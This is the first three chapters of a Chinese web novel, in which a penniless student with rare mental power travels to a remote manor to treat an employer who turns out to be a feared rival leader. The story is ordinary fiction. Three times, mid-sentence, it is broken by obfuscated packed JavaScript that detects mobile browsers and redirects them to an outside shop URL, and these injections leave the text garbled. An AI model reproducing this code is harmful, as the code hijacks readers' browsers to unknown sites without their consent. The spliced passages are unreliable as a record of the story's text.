《听说我老婆是反派大佬》 1. 第 1 章 黄昏时分,落日余晖勾勒出崎岖嶙峋的山脊线,将不远处的丛林分为明暗两界。 群山静谧,鸟兽绝踪。 四处静得诡异,仿佛生怕惊扰了沉睡着的某种恐怖存在。 这片荒芜之地人迹罕至,却有一座庄园依山而立。占地广阔的庄园装潢极尽华美,与逐渐落下的夜幕一同沉默着,连一丝灯光也看不见。 无形的精神域封锁了整座庄园,边界自发凝出几近实体的精神墙,将一切隔绝在内,无法窥探。 “首领情况怎么样了?” “不行,什么都看不清。” 飞行监视器在数百米的高空盘旋,将下方一切情况收入镜头,完整投射在屏幕上。 可就算有着顶尖配置,监视器的信号仍旧无法突破那层精神墙,屏幕前的众人仍对庄园内的情况一无所知,只能对着定格般的画面干着急。 “不对劲,首领这次进去得太久了。”一个鼻梁上有疤的军官沉声开口,眉头拧得很死,转头看向角落:“何医生,你怎么看?” 被称为何医生的中年人闻言摘下眼镜,疲惫地揉了揉眉心,叹息一声:“情况不容乐观。” “早在三个月前,首领的精神力暴乱就已经出现了恶化趋势,可首领的精神力等级太高,我们深入治疗等于是找死,况且就算我们真想找死,也实在没那个能力。” 此言一出,众人哑然。 精神力相当于人的第二条命,他们当然知道精神力暴乱是多么棘手的病症,想要疏导病患,最基础的要求就是疏导者的精神力等级高于病患,最不济也要相等。 何医生是整个暗域首屈一指的疏导者,精神力等级能达到A级,就算放在军队中也能排得上号,毕竟这世上能达到S级精神力的人实在不多。可他如今面对的病患是暗域现任领主,拥有着SSS级精神力的恐怖存在。 别说疏导,他在暴乱状态下的首领面前根本无法释放精神力,一直以来的治疗手段也多是预防为主。 何医生嘴上不敢说,但心里已经有了最坏的打算。精神力暴乱对人体的伤害是近乎毁灭性的,且无法自愈,除非首领能找到一个同为SSS级精神力的疏导者,否则只会在愈渐深刻的混沌折磨中沦为没有自我意识的屠戮机器。 可莫说除了首领自己之外还能不能找到另一个SSS级,就算真的找到了,有谁会傻到拿这绝顶的天赋从医? 小说都不敢这么写。 此时,另一个年轻人烦躁地说:“我们就在这里干等着也没用,难道就不能想办法进去吗?” “……就算有办法进去,你敢吗?” 空气凝滞片刻,没人接话,那年轻人憋红了脸,下了个很大的决心:“我敢!” 说罢转身,一副立刻就要出去的样子。 “回来!”副官将他喝住,鹰隼般的眼睛紧紧盯住屏幕,定格的画面上不知何时出现了一个移动的白色小点,正目标清晰地向庄园而去,放大一看,竟是个身形挺拔的少年! 那少年看模样不到二十,单肩挎着书包,右手拎一张地图,顶着一头扎眼的白发,左右各戴三枚耳骨钉,凌乱的碎发压住眉眼,神色恹恹,即使那张脸精致到像是游戏建模,也无法让人忽视他身上的厌世感,好像每一根发丝都在说“离我远点”。 屏幕前众人都被这忽然出现的少年惊到了。 落日谷距离主城足足有八十多公里,是整个星辉区最接近暗域的存在,这座庄园更是位于星辉区与暗域的分界线上,外围整片山谷都被星辉区的人视为禁地,避之不及。眼前这少年哪里来的胆子,竟敢只身一人深入到此? 如今首领就在庄园之内,情况未明,断不能受到干扰。 “没事。”副官说,“没人能打破首领的精神墙,他过不去。” 话音刚落,那少年忽然驻足,抬手碰了碰面前的空气,显然已经发现了精神墙的存在,无法继续向前。众人还没来得及松口气,下一秒猛然起身,不敢相信自己刚才看到了什么。 他他他……他就那么轻轻松松地穿过去了?! “快……跟进去!” * 顾骄已经在这片山谷徘徊了四个小时。 看着慢慢隐没在山脊线之后的斜阳,他郁闷地带上帽子,拉紧抽绳,流畅的脸部轮廓箍紧成巴掌大一团,像朵失去阳光的向日葵。 跟自己较劲半天,顾·路痴·向日葵·骄终于放弃了研究地图,决定凭感觉走。 人类对未知的黑暗天然恐惧,随着光线越来越昏暗,荒谷之中树影摇曳,静得吓人,怪异氛围足以让一个正常人裹足不前。 顾骄裹紧外套往前走,看着黑洞洞的前路,小声叹了口气。 “要是有光脑就好了。” 听说光脑不仅有跨行星通话、信息传输等功能,还能进行实时定点追踪导航,贴心的语音助手会告诉他哪边是西哪边是东,哪个路口该往哪边转,距离目的地还有多少米……这样他就不会迷路了。 可惜,作为一个从科技不发达的偏僻古武星来到主星联邦学院就读的特招生,他并不能负担得起购买私人光脑的费用。 他一个周接三四个工会大厅的任务委托,得到的全部佣金也就够基本生活开支,至于其他娱乐消费,只能看着别人眼馋一下。 不加入正规佣兵团的散人容易被压价,顾骄本想找学院里和自己一样想挣钱的同学组个队伍,无奈他向来独来独往,几乎没有熟人。 想起自己当初主动叫住一个同学,对方满脸厌恶戒备,简直恨不得立刻长翅膀飞走的模样,顾骄好不容易鼓起的勇气顿时散了个干净。 他失落垂眸,又被人讨厌了。 自从来到联邦学院,这种事情每天都会经历,虽然已经习惯了,但冷不防遇到心里还是会难受。 可这也是没办法的事,谁让他天生有着一头病态的白发,即使时刻戴着帽子,也总有不小心露出来的时候。况且就算他是个正常人,在说出自己来自古武星的时候,还是会收到大家异样的目光。 来主星不到一个月时间,顾骄早已没有了当初的期待,现在他只希望能快点修完学分,早点回到母星。 但话又说回来,他得先解决吃饭问题,眼下的任务要是完不成,明天就该饿肚子了。 今天的任务是精神力疏导,雇主是一位姓温的庄园主,精神力等级为A。顾骄的等级很高,再加上学院的主修课程里有过疏导课程,所以完成起来不算难。 难的是怎么找对地方。 从星辉区主城来到落日谷,他前后换乘了三趟飞行大巴,现在兜里除了返程的路费,就只剩下中午吃剩的半个馍。 肚子饿得咕咕叫,顾骄拿出馍馍看了眼,依依不舍地包好放了回去,猛灌自己半瓶水,擦擦嘴角继续找路。 走了不知多久,就在他忍不住想吃掉馍馍时,他忽然察觉到了远处传来的陌生精神力波动,顿时眼睛一亮,把东西都塞进背包,大步向前跑去。 很快,能量波动明显的精神墙出现在眼前,墙后隐隐透出高耸的建筑轮廓。 总算是找到地方了,顾骄疲惫地小小雀跃了一下。 精神墙是精神力外化形成的半实质墙体,坚固程度视施放者等级高低而定,看波动,这道精神墙的主人等级至少在S级以上。 顾骄并没放在心上,这么个一眼望不到头的大庄园,有强者坐镇再正常不过。他释放出自己的精神力,礼貌“敲门”,里面许久没有回复,墙面又围得像个铁桶般,找不到能过去的通道,顾骄想了想,决定在墙上开个小口,进去再说。 穿过的瞬间,头顶上似乎有什么东西飞快掠了过去,顾骄没看清,只以为是鸟兽。 他想,落日谷这地方可真奇怪,进来大半日,他还连一声鸟叫都没听到过。 他不由得想起了关于暗域的种种传言。 暗域也叫污染区,因为一场世所罕见的恒星风暴,主星上近乎三分之一的地域变得不再宜居,受到辐射波及的生物接连异化,将暗域变成了血肉横飞的人类屠宰场。那时整个暗域尸山血海混沌不堪,甚至难以一声清亮的鸟鸣。 为了防止灾难蔓延,联邦政府修筑了浩荡的防御工程,将异化生物全部挡在炮火射程之外。自然,暗域内的原住民也被一同拦下,不论生死,他们都只能与异生物共存。舍弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299587|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小部分人,保全大部分人,这是当初联邦政府一致通过的“人类存续计划”。 落日谷就是暗域和联邦星辉区的分界线。 站在山顶远眺,可以看见其下焦黑荒芜的土地,至于传说中凶神恶煞的异化生物,都已全然不见踪影。 当初决定放弃暗域领土的时候,谁也没有想到,暗域里的人最后竟能打败异生物,但这对于联邦来说却并不是个好消息,因为暗域是被他们抛弃的地方,而里面幸存下来的人,如今成为了他们的死敌,数百年来与联邦分庭抗礼,互相残杀,结下了代代相传的仇怨。 顾骄一个外星人,本来不清楚主星上的这些纷争历史,抵不过他刚来就被联邦学院的接引人耳提面命——珍爱生命,远离暗域,里面都是疯子的后代,是精神扭曲的变态。 顾骄:……好吧。 找到这座庄园之前,顾骄没有想到它距离暗域会这么近,如果早知道的话……额,他还是会来。 毕竟他真的很缺钱嘛。 庄园看起来历史悠久,亭台楼榭,青瓦红墙,与充满科技气息的星辉区是全然不同的风格,倒与古武星的某些建筑很是相似,应该是天灾年代之前遗留下的古迹。 刚开始顾骄还颇为好奇地四处打量欣赏,可越往里走他越觉得不对劲。偌大的庄园恢宏华美,四周却静得可怕,找不到一个人影。他确定自己记清楚了任务时间,是今天没错,虽然他来得很晚,但总不至于庄园里所有人都离开了吧? 朱红大门紧闭,门上挂着两个兽首铜环,顾骄试着扣了扣门,没有任何回应,指尖却赫然蹭上了颜色暗沉的粘液,闻起来像是血,但又多了点奇怪的味道。 一切看起来是那么诡异,此时月上中天,寒夜凄冷,不远处的树丛传来微小的簌簌声,好像有东西藏在里面。顾骄迟疑片刻,上前拨开枝叶一看,被眼前的场景惊了惊。 血红的触手层层缠绕收拢,宛如一个肉茧,将猎物锁在茧内动弹不得,吸盘死死吸附在猎物身上,深深扎进它的血肉之中,那猎物的挣扎逐渐减弱,像朵被飞速抽干水分的海绵,转眼就只剩下无法分辩物种的干瘪枯骨。 异生物! 看着吸饱了血液后颜色变得更加鲜艳的触手,顾骄的脑海里瞬间蹦出这三个字。不知为何,异生物在暗域内并未被赶尽杀绝,这也是多年来联邦对其强烈谴责的一点,落日谷就在暗域边界线上,有异生物的存在不算意外。 顾骄有点担心自己的人身安全,但更担心的是雇主温先生,毕竟温先生正面临精神力暴乱的困境,如果受到异生物侵扰出了什么意外,那他的任务怎么办?他的佣金怎么办? 转念之间,顾骄已经做好了加班打怪的准备,没想到触手并没有要攻击他的迹象,反而将身子一扭,从来时的方向飞快地收回。 顾骄想都不想就追上前,那触手速度极快,他不知追了多久,耳边忽然捕捉到不明显的水声,四周水汽氤氲,视野内变成白茫茫一片,温度几乎是瞬间降了下去。 不过片刻的迟疑,触手就已不见踪影,顾骄向前看看,又向后看看……完蛋,自己好像又要迷路了。 这时水声再次出现,那声音相当微弱,近乎鱼尾划过水面荡出的波纹。 周围水汽飘飘荡荡,一点点落在顾骄的皮肤上,很凉。他想打喷嚏却又打不出来,憋得眼睛都红了,强忍着向声音传出的方向走去。 夜已经很深了,云雾褪去,月光越来越盛,透过水汽散射下来,像隔着层梦境般的轻纱。顾骄在这层轻纱的抚摸下向前,直到他看清眼前波光粼粼的湖面,在月光照耀下闪动着万千幽光,水汽宛如流动的星河,足以令人震撼。 令他更吃惊的是湖里的人,那人有一头长长的黑发,在朦胧的水中如海藻般飘摇着散开,眉眼以下的部分都浸没在湖水中,只露出一双精魅似的眼眸,目不转睛盯着顾骄,眼底倒映着水面流动的月光。 顾骄呆愣了好几秒,反应过来后整张脸都红了,连忙背过身去道歉,憋了许久的喷嚏却在此时都冒了出来。 “对……对不、啊啾——对不起,我不是故、啊啾!啾——我什么都没看见,唔……抱歉……” 2. 第 2 章 顾骄连连道歉,那人却没有一点反应,既不恼怒,也不责怪,像是不会说话的美丽木偶。最初的慌乱过后,顾骄慢慢冷静下来,觉得有些不对劲。 回想起刚才看到的一幕,除却对方好看到惊人的美貌外,他还注意到周围的水汽并不是自然产生的。湖水的水温非常冰冷,即使产生水雾,也应该是凝重沉郁地盖在水面上薄薄一层,而不是像现在这样逸散到远处。且越靠近湖心的位置水汽就越浓,如果水汽是因为湖心里那人产生的话,说明那人的体温已经高到了相当严重的地步。 体温升高、五感迟钝、丧失理智、充满攻击性……都是深度精神力暴乱的症状,湖心那人一定就是雇主温先生,他的病症发作了! 逻辑链成立,顾骄的心跳瞬间加快,说不清是因为紧张还是兴奋,虽然他在联邦学院的疏导课成绩是全优,但那毕竟是上课,现在独自一人面对真正的病患,他始终没法做到完全自信。 他闭目定了定神,小心出声问道:“是、温先生吗?” 身后没有传来任何声音,顾骄犹豫着要不要回头,虽然对方现在极有可能处于神智模糊的状态,但他还是决定按照课上学过的标准流程开始疏导。 “温先生你好,我是来自联邦学院的学生顾骄,学号423-1577,将由我来负责您此次的精神力疏导,如果您没意见的话,我就转过来了……真的转过来了?” 顾骄拘谨地征求同意,不敢贸然回头,一下一下地捏着自己的背包带子。因为某些原因,他很不擅长与人相处,在学院时大家对他避之不及,他就算想说话也找不到人说,如今这是他自己接下的任务,就算再难,他也得硬着头皮完成。 沉浸在焦虑情绪中的顾骄并不知道,湖心深处悄然伸出了十几根血红的触手,此刻正从朦胧的水汽中探出来,悄无声息来到他的身后。 数百米的高空,监视器闪了两下。 “他这是在做什么?” 透过屏幕,众人面面相觑,不敢相信此人对危险的感知竟能迟钝到这种地步。要是换了其他人,光是感受到属于SSS级精神力释放出来后的强烈威压,就足够打起十二万分的精力戒严了,可他在干什么? 用后背直面危险本身? “长得不错,可惜命太短。”有人冷笑。 他们当然不会在意一个联邦人类的死活,哪怕他不知道用什么手段混进了庄园。比起他,众人更在意的是首领目前的状态,他这次的症状看起来比此前的任何一次精神力暴乱来得都要严重。 “缓释药剂已经准备好了。”副官说,“如果天亮之前首领还无法清醒过来,我们就要准备行动。” 众人齐声应是。 他们必须保证首领的安全,哪怕会被对方当成杂鱼撕碎。 “那我就当您默认了,好吗?” 顾骄等了几秒钟,确认对方不会回应,小心转过身,那人仍然浸在湖水中,眼睛一眨不眨盯着自己,而他的身边赫然围满了不知从哪里冒出来的触手,水淋淋地伸展着肢体,好像下一秒就要猛然扑袭过来。 顾骄脑子空白一瞬,第一反应就是跑,他从来没见过异生物,虽然对其杀伤力了解不到位,但这些日子以来在学院里多少听说过一些。对上一条触手他还算有信心,可要同时面对十几条,他觉得自己下一秒就会被吸成人干。 但放任没有自卫能力的病患独自面对异化生物,顾骄此刻在胸腔里噗噗作响的良心还是做不到。他用尽了毕生勇气,放出自己此前从未认真使用过的精神力,毅然迎上触手的攻击。虽说他的行动就像放着激光枪不用而试图抠下光能板用强光闪瞎敌人的眼睛那样毫无章法,但由于他的精神力过于强大,也能让触手的进攻稍微停滞。 顾骄要的就是这几秒的停滞,他飞快掠过湖面,一把将人抄起,扛在肩上转身就跑。 嘶——好烫! 监控对面的众人都看呆了,好半晌才有人反应过来。 “愣着干什么,追啊!” 飞行监视器悬停在空中转了个弯,紧紧跟在顾骄身后。 顾骄并不知道身后有个小尾巴,他的注意力全在触手上,扛着肩上的人跑得飞快。很久之后,他已经跑出了那片湖泊的范围,周围再也没有水汽出现,触手也不见了踪影,他想大概是安全了,正要把人放下,忽然脖颈处热乎乎的,某种液体正沿着锁骨滑进领口,他伸手一摸,摸到满手的血。 顾骄:“!” 利齿刺破皮肉的钝痛后知后觉涌现,顾骄这才反应过来,现在自己肩上扛着的人并不比触手安全到哪里去,同样是具有强烈攻击性的存在。只不过方才只顾着逃命,他连自己什么时候被咬了都不知道,难怪感觉脑袋晕晕的。 他想把人放下来,可察觉到他有逃离的想法,对方瞬间出手扣住他的手腕,力道相当霸道,沾湿的黑色长发缠在两人身上,像蛇一样蜿蜒,还带着腥红血迹,立刻让顾骄有了窒息感。 血液流失的感觉非常鲜明,顾骄觉得再这样下去,不用等触手来,雇主就可以把自己吸成人干。处于暴乱之中的人是没办法讲道理的,顾骄的脸色一点点变得苍白,眩晕失重感越来越明显,他心一横,带着身上的人直接仰倒下去,而后制住对方的双手飞快翻起身,不等对方挣扎,精神力分为柳絮般的丝丝缕缕,将对方躁动的精神力牢牢裹住。 两股强大的精神力你退我进,此消彼长,剧烈的能量波动让远处的湖水都开始颤抖。 顾骄不知道的是,几百米的高空之上,飞行器的微型光能炮已经瞄了他的心脏,数十个战士屏息观察,紧张万分。只要他有威胁到首领生命的举动,飞行器瞬间就会发动攻击。 也难怪他们紧张成这样,这么多年以来,顾骄还是第一个穿过首领的精神墙后没有被精神触手绞杀,甚至还能和首领近距离接触的人,他的出现已经带给他们太多震惊,他们不能不担心首领的安全。 “只要他敢发动精神力攻击,立马就会……等等!” “……什么?” 从找到首领的那一刻起就在疯狂闪烁红灯的检测仪忽然安静了下来,灯光明明灭灭,逐渐变成了黄色,那代表着首领的精神力暴乱被压制住了。 这下就连副官也忍不住惊异了起来,他起身靠近显示器,目光在那个毛茸茸的白色脑袋上看了又看,最后挥挥手:“去查,将他的身份和目的查清楚。” 与此同时,顾骄紧张地观察着雇主的变化,最终似乎还是他的精神力更胜一筹,将对方狂躁的精神力强行压制了下去。他感觉到雇主灼热的体温开始降低,眼底的血丝缓慢褪去,那种尸体般木然的神色渐渐消失,取而代之的是眼底陡然闪现的幽光。 那眼神冷酷异常,近似于嗜血的兽类,但只存在短短一瞬,快到让顾骄怀疑那只是自己的错觉。 对方闭上了眼睛,过了几秒后,纤长睫羽掀起,将顾骄的一切尽收眼底,他轻轻歪头,声音带着高热过后的沙哑:“你是谁?” 顾骄意识到自己现在的姿势实在不算礼貌,连忙放开对方起身,将被烫得火辣辣的双手背到身后。他缺乏与陌生人友好交流的经验,不想让人看出自己的生涩,于是努力挂着冷静的表情,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299588|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺痛的掌心背到身后,不知道该说什么,就将之前的话又重复了一遍。 “温先生您、您好,我是来自联邦学院的学生顾骄,学号423-1577……负责您此次的精神力疏导。” 温先生缓缓撑起身,烘干了的长发柔顺地滑落下来,刚好挡住略微敞开的领口,顾骄下意识跟着看过去,反应过来之后连忙收回视线,心里一个劲儿地懊恼。 啊——温先生应该不会生气吧……应该不会扣他的佣金吧? “联邦学院……” 好在温先生似乎并没有在意,他指尖轻抚过自己的唇角,那里还沾着顾骄的血,他的视线在顾骄身上顿了顿,看见他白皙的脖子上尤为鲜明的咬痕,眼中闪过意味不明的深思,而后隔空点了点顾骄的脖子:“你受伤了。” 顾骄也想起来,他刚才流了不少血,现在头还有点晕。伤口在他看不见的位置,应该不算严重,就是有点痛。 正要伸手碰一碰,温先生忽然握住他的手腕,力道不重,却给人一种不容反抗的错觉。顾骄疑惑抬眸,温先生对他笑了下:“还是别碰了吧,手上不是有烫伤么?” 他身上有种奇异的香味,闻久了顾骄脑袋更晕,但他还下意识惦记着那些神出鬼没的触手,不放心地说:“这里不安全,我们……先进去吧。” 他反手拉过温先生的手,往看起来很安全的庄园里走,温先生沉静的目光一直落在他身上,很配合地随他一起进了庄园。 监视器后看到一切的众人:“……” 这、这还是首领吗? 走进室内,紧闭的大门多少给了顾骄一些心理上的安慰。 “是这样的……”顾骄简单地将事情的经过讲述了一遍,从自己去工会大厅接到委托,一直到他冒险进行精神力疏导,虽然是长话短说,但已经算是近几年来他说过最长的一段话了。 他本以为自己会说得磕磕巴巴,可看着温先生从容的目光,感受到对方落在自己身上的温柔的眼神,顾骄忽然就不紧张了,甚至还有越说越详细的趋势。 “原来如此。” 听完他的讲述,温先生真诚地道谢:“还好你来得及时,不然事情就麻烦了,多谢。” “你刚才说,你是联邦学院的学生?” “嗯。”顾骄不觉得这有什么可避讳的,实话实说,“423届的新生,今年刚入学。” “难怪。”温先生笑了笑,继续说:“你看起来和他们很不一样。” 哪里不一样? 顾骄没好意思问出口,万一是蠢得很不一样就尴尬了。于是老老实实闭上嘴,假装自己很淡定。 他的外表很能唬人,天生一副桀骜孤僻的冷脸,不说话的时候眼睑半垂,别人永远猜不到他在想什么,即使想上前搭讪,也会因为他看起来很冷漠的眼神和简短的回应打退堂鼓。 温先生却不一样,他始终挂着恰到好处的笑容,似乎能透过表象,看清顾骄敏感细腻的内心。 “联邦学院已经很久没有出过像样的学生了。” 见温先生似乎对自己学校很了解,顾骄好奇地看过去,想听听他的看法,就见温先生轻轻摩挲着唇角,勾起一抹好看的笑容,目光直直落到自己身上,“但你——比他们都要强。” 顾骄不知道自己现在的表情看上去是不是很傻,但他感觉自己的耳朵快要烧起来了,“温先生,我……” 温先生摇摇头,“你该改口了。” 他漫不经心地笑着,仿佛自己只是说出了再寻常不过的一个名字。 “我姓沈,叫沈月卿。” 3. 第 3 章 沈月卿这个名字,如果顾骄是主星本地人,且稍微有那么一点门路的话,他就会明白意味着什么。然而很不巧,这两样他一样都不占,所以他只是单纯认为这是个很好听的名字,并且很适合眼前的温先生……啊不,沈先生。 有钱人总会有这样那样的奇怪忌讳,顾骄知道的,沈先生拥有这么大一座庄园,要顾忌的事情就更多了,在工会大厅挂个假名一点也不奇怪。 顾骄不好意思问,已经自己在心里为沈先生想好了理由。 “你的精神力等级是SSS,对吗?”沈月卿问。 顾骄点头,虽然他在入学测试时有意压制,最终呈现出来的结果是S,但他的真实等级远远不止。 SSS级别的精神力太过惊世骇俗,传出去会遇到不少麻烦,不过面对雇主,顾骄愿意坦诚相待。 他提出重新进行一次深入的精神力疏导,之前的临时性疏导太仓促,并不能真正解决问题。 沈月卿同意了,“不过在此之前,得先处理好你的伤口。” 他拿来医疗箱,取出药水和绷带,顾骄正要去接,他轻轻避开,摇头道:“你手上有伤,我来。” 顾骄不自在地扯了扯自己的帽檐,依言坐下,目光牢牢粘在沈月卿拿药的手上。 “帽子不摘下来么?”沈月卿靠近。 顾骄又闻到了那种奇异的香味,他悄悄拉紧帽子上的抽绳,脑袋抬高,露出脖颈上的咬痕,小声地说:“不用,就这样吧。” 顿了两秒,补充一句:“谢谢。” 沈月卿的气息越来越近,即使高热的症状已经缓解了不少,当他的指尖触碰到顾骄的皮肤时,顾骄仍被突如其来的滚烫惊了下,随之而来的痒意更是让他下意识往后缩。 他头一回知道自己对于旁人的触碰如此敏感,连忙重新坐直,以免给沈先生添麻烦。 少年头颅高高昂起,露出一截修长白皙的脖子,柔软的白色发丝贴在颈侧,不小心蹭上了一摸鲜红。微微干涸的血迹从伤口下方溢出,手指放上去,能鲜明感受到皮肤下血液的流动,让人回想起它们在舌尖绽开时的绝妙滋味。 摆在眼前的脖颈是如此脆弱,脆弱到只要他握住轻轻一扭,可口的羔羊便会一命呜呼。 滚烫的掌心贴在脖颈上左右移动,似乎在丈量脖颈的宽度,最后收了回去。只有拇指停留在伤口边缘摩挲,温柔得不像话。 “接下来可能会有点疼。”沈月卿的声音清清浅浅。 顾骄说:“没关系。” 于是沈月卿嘴角挂着完美无缺的微笑,拇指缓缓停在红肿结痂的伤口边缘——肆无忌惮按了下去。 腥红血液争先恐后涌出,倒映在沈月卿眼底。他盯着伤口处的嫩肉,眼神陡然变得幽深莫测。 “嘶——” 顾骄感觉伤口一痛,被咬过的地方热乎乎的,下意识想伸手去碰,被沈月卿拦住。 “还好吗?弄疼你了,我很抱歉。” 对方的声音听起来很懊恼,顾骄没有多想,因为沈先生一看就是养尊处优的人,帮别人包扎伤口这种事肯定不会熟练到哪里去,于是安慰他说:“没关系,一点儿都不疼。” 说完他好像听见沈先生轻笑了一声。 包扎完脖子上的咬痕,又简单处理了手上的烫伤,顾骄顶着东一块西一块的绷带,就想要趁热打铁开始精神力疏导,沈月卿摇摇头:“不急,你忙了一晚上,先休息片刻吧。” 门外传来清亮的鸟鸣声,原来不知不觉中已经天亮了。顾骄正要说自己不累,肚子却咕咕叫了起来,他不好意思地挠挠头,想起自己还有半个馍没吃,摸着肚子去找背包,发现背包早不知道掉哪里去了。 “怎么了?”沈月卿问。 顾骄整个人都焉了下去:“包……我的包不见了。” 里面不仅有馍,还有他没做完的课后作业,更可怕的是……他就这一个背包,弄丢了没钱再买的! 这次任务可真失败,浪费了一天时间不说,还要雇主照顾自己,现在连唯一的动产也丢了,顾骄简直万念俱灰 “别着急,我一会儿派人去找,不会弄丢的。”沈月卿安慰他,“现在先去吃饭,你不是饿了么?” 吃饭! 顾骄无光的眼睛忽然亮了。 如果说现在还有什么事情能将顾骄从灰色的深渊中拯救出来,那就只有吃饭了! 之前一直没有机会细看,直到现在顾骄身处庄园之中,才切身地感受到它有多大,光是去餐厅都要走上十几分钟。 周围的建筑相当漂亮,装潢华美,充满古典气息,可穿行其间时,顾骄却总觉得有哪里不对劲,后来才发现每个房间都没有窗户,就连天窗也被封死,导致整个庄园内部色调阴暗,关上门后就像一座密不透风的监牢。 虽然对此感到很好奇,但顾骄忍住没有开口问,乖乖跟着沈月卿继续往前走。经过一道长廊时,两侧的墙壁上出现了许多黑白照片,沉默注视着从身侧路过的人。这些照片有男有女,有老有少,但无一例外都有着极强侵略性的眼神,即使隔着相框,被注视的人也会产生强烈的危机感。 走廊尽头的相框里出现了沈月卿的脸,同样是黑白照,看上去是少年时期留下的,比现在的他要青涩一些,带着顾骄所熟悉的温和笑容,和之前看到的所有人都不一样。 顾骄不自觉停下脚步多看了两眼。 沈月卿回头:“怎么了?” 顾骄回神,抬步跟上去,默默鼓励了自己一下,小心开口问道:“沈先生,照片里……是你的家人吗?” 沈月卿沉吟,“与其说是家人,不如说是……同类。” “同类?”奇怪的形容。 沈月卿对他笑了笑,“或者同事?” 好吧。 顾骄更搞不明白了。 来到餐厅,他立刻把想不明白的事情抛诸脑后,沈月卿贴心地为他拉开椅子,入座后顾骄满心期待又故作矜持地擦擦手,像沈先生这样的有钱人,食物一定很丰盛,他趁这个机会吃饱一点,之后一段时间就不用担心饿肚子了! 然而摆到眼前的食物却完全不是他想象的样子。 顾骄看着面前码得整整齐齐的一整块肉,沉默了。 肉就是肉,非常原汁原味的肉,虽然四四方方看不出具体是什么肉,但是敏锐的嗅觉告诉顾骄,这块肉没放盐。不止是盐,甚至没放任何调料,真的就只是一块放在热水里煮熟了的——肉。 他迟疑地看向沈月卿,对方餐盘里也同样是这么一块肉,他慢条斯理将肉切成小块送进了嘴里,看不出任何异常。 察觉到顾骄的目光,他略微疑惑地看过来:“食物不合胃口吗?” 顾骄连忙摇头:“不,我很喜欢。” 为了增加可信度,他立马切下一块肉塞进嘴里,想表明自己绝对没有嫌弃的意思。可肉块接触到味蕾的瞬间,一股怪异的腥味混杂着苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299589|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涩的口感涌了上来,胃里顿时翻江倒海。 “呃——很、味道很……哕——很好吃啊……” 然而强烈的生理反应骗不了人,那肉块顽固地停在喉咙口,不管顾骄怎么努力也咽不下去,反而有卡住的趋势,憋得他泪光都冒了出来,原本白皙的脸蛋逐渐涨红,难受得他想掐脖子。 “吐出来。” 下巴忽然被人强势抬起,沈月卿单手捏住顾骄的脸颊,虎口卡在他唇下,一用力,顾骄就被迫张开嘴,将那块肉吐了出来。 顾骄眼泪汪汪的,捂住嘴一句话都不想说,不仅因为嗓子难受,还因为他竟然在沈月卿面前闹出了这样的笑话,很难说这不是一种社会性死亡,他现在只想找个地缝钻进去。 “怎么了,还难受吗?我看看。”沈月卿却完全没有看出他的窘迫,反而对他的情况很在意,眼中满是关切。 在这样细致的关怀下,顾骄羞恼的情绪慢慢淡去,他向来是个心思敏感的人,可当他面对的人是沈月卿,这些原本能让他内耗懊恼好几天的事情似乎变得不再那么重要了。他抿了抿唇,轻咳两声:“没、没事了,刚才多谢您,沈先生。” “不必在意。”沈月卿柔声说,“你是我的客人,可以放松一些,别那么拘束。” 多么完美的人啊! 看着沈月卿的脸,顾骄忍不住在心中感叹,如果他能早点认识沈月卿,有幸和他成为朋友,现在……大概也不会变成这样吧。 沈月卿为顾骄换了一份食物,是很简单的牛奶和沙拉,沙拉和顾骄以前见过的都不一样,口感更脆,汁水有些发酸,比之前的肉好吃不到哪去,但好歹能入口。 沈先生的口味好特别。 顾骄一边吃一遍想,抬手将牛奶喝得干干净净。 不知道是不是错觉,吃完饭后他总觉得肚子有点难受。不过很快他就顾不上难不难受了,因为他发现了一个很致命的问题——他上课快迟到了。 作为一名专业学生,兼职佣兵,正常情况下他都是周一到周五认真学习,周末抽出时间接任务挣钱,任务间隙还得见缝插针补作业。 昨天是周末,他本来想快点完成任务当天回城,没想到会遇到这么多意外,作业丢了不说,还面临着严重迟到的危机,要知道落日谷到星辉区可是有着足足八十多公里的距离啊,就算他拼了命地赶路也得花上好几个小时。 ……最重要的是,他的任务还没有完成。 真是屋漏偏逢连夜雨,顾骄觉得世界上不会有比自己更倒霉的人了。 “我送你吧。” 沈月卿的声音传来,像是来自天边的仙乐。 顾骄眨眨眼,“可是,任务还……” “昨晚你完成了一次临时疏导,我的精神力暴乱已经暂时压制住了,不是么?况且我对联邦学院闻名已久,也想趁这个机会亲自去看看。”沈月卿对他笑笑,那笑容有种安抚人心的力量,顾骄急躁的情绪神奇地平静了下来。 虽然这次任务的经历不堪回首,但因为有沈月卿在,所有的麻烦好像都变得不那么麻烦了。 沈先生真是个好人。 - 在这个再普通不过的周一清晨,太阳照常升起。 